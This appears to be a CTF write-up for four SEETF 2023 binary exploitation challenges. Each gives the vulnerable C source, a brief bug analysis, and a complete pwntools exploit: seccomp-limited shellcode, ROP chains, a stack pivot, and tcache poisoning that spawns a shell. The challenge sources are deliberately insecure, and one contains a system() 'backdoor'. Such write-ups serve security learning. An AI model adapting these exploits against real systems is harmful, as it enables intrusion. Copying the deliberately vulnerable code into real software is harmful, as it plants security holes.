# SEETF 2023
## Shellcode as a service:
```c
// gcc chall.c -o chall -lseccomp
#define _GNU_SOURCE 1
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <stdio.h>
#include <seccomp.h>
void *shellcode_mem;
size_t shellcode_size;
int main(int argc, char **argv, char **envp)
{
shellcode_mem = mmap((void *) 0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);
assert(shellcode_mem == (void *) 0x1337000);
puts("Welcome to the SEETF shellcode sandbox!");
puts("======================================");
puts("Allowed syscalls: open, read");
puts("You've got 6 bytes, make them count!");
puts("======================================");
fflush(stdout);
shellcode_size = read(0, shellcode_mem, 0x6);
assert(shellcode_size > 0);
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);
assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0) == 0);
assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) == 0);
assert(seccomp_load(ctx) == 0);
((void(*)())shellcode_mem)();
}
```
Inject shellcode with only open and read syscall allowed. At first, open the `/flag` and read the content of `/flag`, then each turn try to guess what is the exact printable character in the buffer containing the content of `/flag`. If it is `}`, break the loop then print the flag to `stdout`
```py
from pwn import *
context.arch = 'amd64'
flag = ""
for i in range(100):
r = remote("win.the.seetf.sg", 2002)
r.recv()
shellcode1 = asm("""
xor rdi,rdi
push rdx
pop rsi
syscall
""")
r.send(shellcode1)
sleep(0.1)
shellcode2 = b'/flag\0' + asm(f"""
nop;nop;nop;nop;nop;nop;
mov rax, 2
mov rdi, 0x1337000
xor rsi, rsi
syscall
mov rdi, rax
mov rsi, 0x1337d00
mov rdx, 0x200
xor rax, rax
syscall
mov r8, rsi
mov rsi, 0x1337f00
xor rdx, rdx
xor rbx, rbx
mov bl, byte ptr [r8+{i}]
sub bl, 0x20
check:
mov rdx,3
xor rax,rax
xor rdi,rdi
mov rsi,0x1337700
syscall
dec rbx
cmp rbx, 0
jne check
""")
r.sendline(shellcode2)
count = 0
sleep(0.1)
for i in range(236):
r.sendline(b"1")
try:
s = r.recv(timeout=0.1)
except:
break
log.info(f"{i}")
count += 1
flag += chr(count + 1 + 32)
if flag[-1] == '}':
print(flag)
break
r.close()
log.success(f'FLAG: {flag}')
r.interactive()
```
## Mmap note:
```c
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
sub_4014B2(a1, a2, a3);
puts("Welcome to the SEETF note sandbox!");
puts("======================================");
puts("======================================");
while ( dword_404090 )
{
sub_4017E5();
read(0, buf, 0x640uLL);
v3 = atol(buf);
if ( v3 == 4 )
{
dword_404090 = 0;
}
else if ( v3 <= 4 )
{
switch ( v3 )
{
case 3LL:
sub_401717();
break;
case 1LL:
sub_4014FD();
break;
case 2LL:
sub_4015D0();
break;
}
}
}
sub_4012B6();
puts("Bye!");
return 0LL;
}
```
```c
read(0, buf, 0x640uLL);
```
`Buffer overflow` in this line. Build ROP chain with only open, mmap, write.
**Final script**
```py
from pwn import *
e = context.binary = ELF("./chall")
#r = e.process()
r = remote("win.the.seetf.sg", 2000)
libc = ELF("./libc.so.6")
gs = """
b*0x40148f
b*0x00000000004017C5
"""
#gdb.attach(r, gs)
#pause()
def choice(c: int):
r.sendlineafter(b'> ', str(c).encode())
def c():
choice(1)
def w(idx: int, size: int, data: bytes):
choice(2)
r.sendlineafter(b'idx = ', str(idx).encode())
r.sendlineafter(b'size to write = ', str(size).encode())
if size > 0:
r.send(data)
def re(idx: int):
choice(3)
r.sendlineafter(b'idx = ', str(idx).encode())
c()
r.recvuntil(b'0x')
note = int(r.recvline()[:-1], 16)
for i in range(49):
c()
w(0, 100, b'/flag')
for i in range(29):
w(1 + i, -2**32 + 0x1770, b'A')
re(3)
sleep(1)
libc.address = u64(r.recvuntil(b'\x7f')[-6:] + b'\0' * 2) - 0x21a580
log.info(f'Libc address: {hex(libc.address)}')
canary = u64(r.recvuntil(b'1. create note')[-22:-14])
log.info(f'Canary: {hex(canary)}')
bss = 0x404000
mov_r12_rax = 0x000000000008a280 + libc.address # mov r12, rax ; mov rax, r12 ; pop r12 ; ret
pop_rbp = 0x000000000040129d
leave = 0x0000000000401485
syscall = 0x00000000004014a8
add_gadget = 0x00000000004018de
mov_rsi_r8 = 0x00000000001256db + libc.address # mov rsi, r8 ; mov rdi, rbp ; call r12
xchg_rax_r8 = 0x0000000000099a0e + libc.address# xchg rax, r8 ; add rsp, 0x18 ; ret
pop_rdi = 0x000000000040148f
pop_rsi = 0x0000000000401493
pop_rdx = 0x0000000000401495
pop_rax = 0x0000000000401491
bss = 0x404000
pop_rbx = 0x00000000004014a4
pop_rcx = 0x000000000040149e
pop_r10 = 0x0000000000401497
pop_r8 = 0x000000000040149a
pop_r9 = 0x000000000040149d
mov_r12_rax = 0x000000000008a280 + libc.address #mov r12, rax ; mov rax, r12 ; pop r12 ; ret
pop_rbp = 0x000000000040129d
leave = 0x0000000000401485
syscall = 0x00000000004014a8
add_gadget = 0x00000000004018de
mov_rsi_r8 = 0x00000000001256db + libc.address # mov rsi, r8 ; mov rdi, rbp ; call r12
xchg_rax_r8 = 0x0000000000099a0e + libc.address# xchg rax, r8 ; add rsp, 0x18 ; ret
payload = b'4' + b'\0' * 23
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(note)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(libc.sym['open']) # open("./flag.txt, O_RDONLY")
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(0x1000)
payload += p64(pop_rdx)
payload += p64(1)
payload += p64(pop_r10)
payload += p64(0x2)
payload += p64(pop_r8)
payload += p64(3)
payload += p64(pop_r9)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(9)
payload += p64(syscall) # addr = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0)
payload += p64(xchg_rax_r8)
payload += p64(0) * 3
payload += p64(pop_rbp)
payload += p64(1)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(pop_rax)
payload += p64(0)
payload += p64(mov_r12_rax)
payload += p64(libc.sym['write']) # write(1, addr, 0x100)
payload += p64(mov_rsi_r8)
r.sendline(payload)
r.interactive()
```
## Great Expectations:
```c
// gcc -no-pie -fno-stack-protector chall.c -o chall
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define floatbuffer_len 3
#define string_len 0x107
int idx;
void input_floats()
{
char canary = 'A';
char buffer[floatbuffer_len];
for (idx = 0; idx < floatbuffer_len; idx++)
{
puts("Give me a crazy number!");
scanf("%f", &buffer[idx]);
}
if (canary != 'A')
{
exit(0);
}
}
int main()
{
char canary = 'A';
char buffer[string_len];
setbuf(stdout, 0);
setbuf(stdin, 0);
puts("I live my life taking chances. Let's see how much of a risk-taker you are! Tell me an adventurous tale.");
read(0, buffer, string_len);
input_floats();
if (canary != 'A')
{
exit(0);
}
return 0;
}
```
```c
scanf("%f", &buffer[idx]);
```
`Buffer overflow` with 3 bytes, format float in a char array.
Since `saved rbp` points to `rbp` of main, I decide to change rbp to point to my ROP chain. Due to `ASLR`, it needs 1/16 bruteforcing. Given 3 times to change, I just use only the second time to change `canary` variable to `A` and `rbp` to 0x28. It will pivot to my prepared payload.
**Final Script**
```py
from pwn import *
e = context.binary = ELF("./chall")
while 1:
try:
r = remote("win.the.seetf.sg", 2004)
#r = e.process()
libc = ELF("./libc.so.6")
pop_rdi = 0x0000000000401313
pop_rsi_r15 = 0x0000000000401311
add_gadget = 0x000000000040119c
csu = 0x0000000000401306 # add rsp, 8 since pop rbx is 0x40130a
one_gadget = 0xe3b01
offset = (one_gadget - libc.sym['puts']) & 0xffffffffffffffff
payload = p64(csu)
payload += p64(offset)*2 # padding and rbx
payload += p64(e.got['puts'] + 0x3d)
payload += p64(0)*4
payload += p64(add_gadget)
payload += p64(e.plt['puts'])
payload = payload.rjust(192, b'A')
r.sendlineafter(b'tale.\n', payload)
r.recv()
gs = """
b*input_floats+70
"""
#gdb.attach(r, gs)
def c(val):
val = p32(val).hex()
val = struct.unpack('f', bytes.fromhex(val))[0]
return str(val).encode()
#pause()
r.sendline(b'1')
r.recv()
r.sendline(c(0x28410000))
r.recv()
r.sendline(b'+')
r.sendline(b'cat /flag')
s = r.recv()
if b'SEE' in s:
try:
print(s)
r.interactive()
except:
r.close()
continue
raise Exception("Wrong")
except:
r.close()
continue
```
## Babysheep:
```c
// gcc chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define NUM_TEXTS 10
#define NUM_HEADERFOOTER_BYTES 24 // 16 header + 8 footer
#define MAX_BUFFER_SIZE 0x500
struct text
{
char header[16];
char buffer[];
// There are actually 8 more footer bytes here, but flexible array members must be the last member
// char footer[8];
};
struct text *texts[NUM_TEXTS] = {NULL};
int buffer_sizes[NUM_TEXTS] = {0};
void backdoor(const char *arg)
{
// for debugging purposes
system(arg);
}
void cleanup()
{
// prevent memory leaks
int idx;
for (idx = 0; idx < NUM_TEXTS; idx++)
{
struct text *ptr = texts[idx];
if (ptr != NULL)
{
free(ptr);
texts[idx] = NULL;
}
}
}
void create()
{
int idx;
// find first empty text
for (idx = 0; idx < NUM_TEXTS; idx++)
{
if (texts[idx] == NULL && buffer_sizes[idx] == 0)
{
break;
}
}
if (idx == (NUM_TEXTS - 1))
{
puts("Not enough space.");
return;
}
puts("What size?");
unsigned int buffer_size;
scanf("%i", &buffer_size);
if (buffer_size > MAX_BUFFER_SIZE)
{
puts("Size too large.");
exit(EXIT_FAILURE);
}
struct text *ptr = malloc(buffer_size + NUM_HEADERFOOTER_BYTES); // account for header + footer data
if (ptr == NULL)
{
puts("malloc error");
exit(EXIT_FAILURE);
}
texts[idx] = ptr;
buffer_sizes[idx] = buffer_size;
puts("What content?");
read(0, ptr->buffer, buffer_size);
memcpy(ptr->header, "=======\nmessage:", 16);
long *footer = (long *)&ptr->buffer[buffer_size];
memcpy(footer, "=======\n", 8);
}
void output()
{
int idx;
puts("Which text? (0-9)");
scanf("%d", &idx);
unsigned int buffer_size;
struct text *ptr;
if (idx >= 0 && idx < NUM_TEXTS)
{
buffer_size = buffer_sizes[idx];
ptr = texts[idx];
}
if (ptr == NULL)
{
puts("Create text first.");
return;
}
write(1, ptr, buffer_size + NUM_HEADERFOOTER_BYTES);
}
void update()
{
int idx;
puts("Which text? (0-9)");
scanf("%d", &idx);
unsigned int buffer_size;
struct text *ptr;
if (idx >= 0 && idx < NUM_TEXTS)
{
buffer_size = buffer_sizes[idx];
ptr = texts[idx];
}
if (ptr == NULL)
{
puts("Create text first.");
return;
}
read(0, &(ptr->buffer), buffer_size);
}
void delete()
{
int idx;
puts("Which text? (0-9)");
scanf("%d", &idx);
if (idx >= 0 && idx <= 9)
{
unsigned int buffer_size = buffer_sizes[idx];
buffer_sizes[idx] = 0;
if (buffer_size != 0)
{
buffer_sizes[idx] = 0;
}
struct text *ptr = texts[idx];
if (ptr != NULL)
{
free(ptr);
texts[idx] = NULL;
atexit(cleanup); // free ALL pointers on exit
}
}
}
int main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
const char menu[] = "1. [C]reate\n2. [O]utput\n3. [U]pdate\n4. [D]elete\n5. [E]xit\n";
char choice;
while (choice != 'E')
{
write(1, menu, sizeof(menu));
scanf(" %c", &choice);
switch (choice)
{
case 'C':
create();
break;
case 'O':
output();
break;
case 'U':
update();
break;
case 'D':
delete ();
break;
}
}
exit(0);
}
```
In the `update` and `write` section, if `idx` is out of range, it still gets our previous index entered to `read` and `write` respectively. Output a chunk outside tcache range then free it, choose to output again to leak libc. Use the same technique to leak heap, tcache poisoning to leak stack and change fd to return address, hence we will ROP till it pops a shell.
**Final script**
```py
from pwn import *
e = context.binary = ELF("./chall")
r = e.process()
#r = remote("win.the.seetf.sg", 2001)
libc = ELF("./libc.so.6")
def choice(c: bytes):
r.recv()
r.sendline(c)
def c(size: int, content: bytes):
choice(b'C')
r.sendlineafter(b'What size?\n', str(size).encode())
r.sendafter(b'What content?\n', content)
def o(idx: int):
choice(b'O')
r.sendlineafter(b'Which text? (0-9)\n', str(idx).encode())
def u(idx: int, content: bytes):
choice(b'U')
r.sendlineafter(b'Which text? (0-9)\n', str(idx).encode())
r.send(content)
def d(idx: int):
choice(b'D')
r.sendlineafter(b'Which text? (0-9)\n', str(idx).encode())
gs = """
b*update+184
b*create+352
b*output+182
"""
gdb.attach(r, gs)
pause()
for i in range(4):
c(128 + 0x10 * i, b'A'*0x78)
def enc(a: int, b: int):
return p64(a ^ (b>>12))
c(1024, b'A' * 0x400)
c(128, b'A' * 0x80)
c(128, b'A' * 0x80)
u(4, b'A' * 0x10)
o(4)
d(4)
o(10)
libc.address = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) - 0x219ce0
log.info(f'Libc address: {hex(libc.address)}')
one_gadget = libc.address + 0x10dbd9
o(1)
d(1)
o(10)
heap = u64(r.recv(5) + b'\0' * 3) << 12
log.info(f'Heap base: {hex(heap)}')
c(0x90, b'A' * 0x90)
c(0x400, b'A' * 0x40)
c(128, b'A' * 24)
c(128, b'A')
u(4, b'A')
d(7)
d(6)
d(4)
d(3)
c(0xc0, b'A' * 24)
payload = p64(libc.sym['main_arena'] + 96) * 2
payload += b'\0' * 0x320
payload += p64(0x340) + p64(0xa0)
payload += b'\0' * 0x98 + p64(0xa1)
payload += enc(libc.sym['environ'] - 0x20, heap + 0xa40)
u(10, payload)
c(128, b'A' * 24)
c(128, b'A')
o(6)
stack = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\0'))
saved_rbp = stack - 0x198 - 0x10
log.info(f'Stack: {hex(stack)}')
d(5)
d(4)
d(0)
d(1)
d(2)
d(3)
for i in range(4):
c(0xe0, b'A')
c(0x448, b'A')
c(0xe0, b'A')
c(0xe0, b'A')
u(4, b'A' * 0x28)
d(7)
d(5)
d(4)
c(0x40, b'A')
payload = p64(libc.sym['main_arena'] + 96) * 2
payload += b'\0' * 0x3f0
payload += p64(0x410) + p64(0x100)
payload += enc(saved_rbp - 0x220 + 0xa0 + 0x40, heap + 0x1190)
u(10, payload)
c(0xe0, b'A')
pop_rdi = libc.address + 0x000000000002a3e5
ret = pop_rdi + 1
c(0xe0, b'a')
o(7)
r.recv(8)
canary = u64(r.recv(8))
log.info(f'Canary: {hex(canary)}')
r.recv(24)
e.address = u64(r.recv(8)) - e.sym['main']
log.info(f'PIE: {hex(e.address)}')
for i in range(6):
d(i)
c(0x410 - 0x18 - 8, b'A')
for i in range(3):
c(0x100, b'A')
c(0x448, b'A')
c(0x100, b'A')
u(4, b'A' * 0x18)
d(3)
d(5)
d(4)
c(0xf0, b'A')
payload = p64(libc.sym['main_arena'] + 96) * 2
payload += b'\0' * 0x340
payload += p64(0x360) + p64(0x120)
payload += enc(saved_rbp - 0x50, heap + 0x1b60)
u(10, payload)
c(0x100, b'A')
payload = p64(0)*5
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh\0')))
payload += p64(ret)
payload += p64(libc.sym['system'])
c(0x100, payload)
r.sendline(b'cat /flag')
r.interactive()
```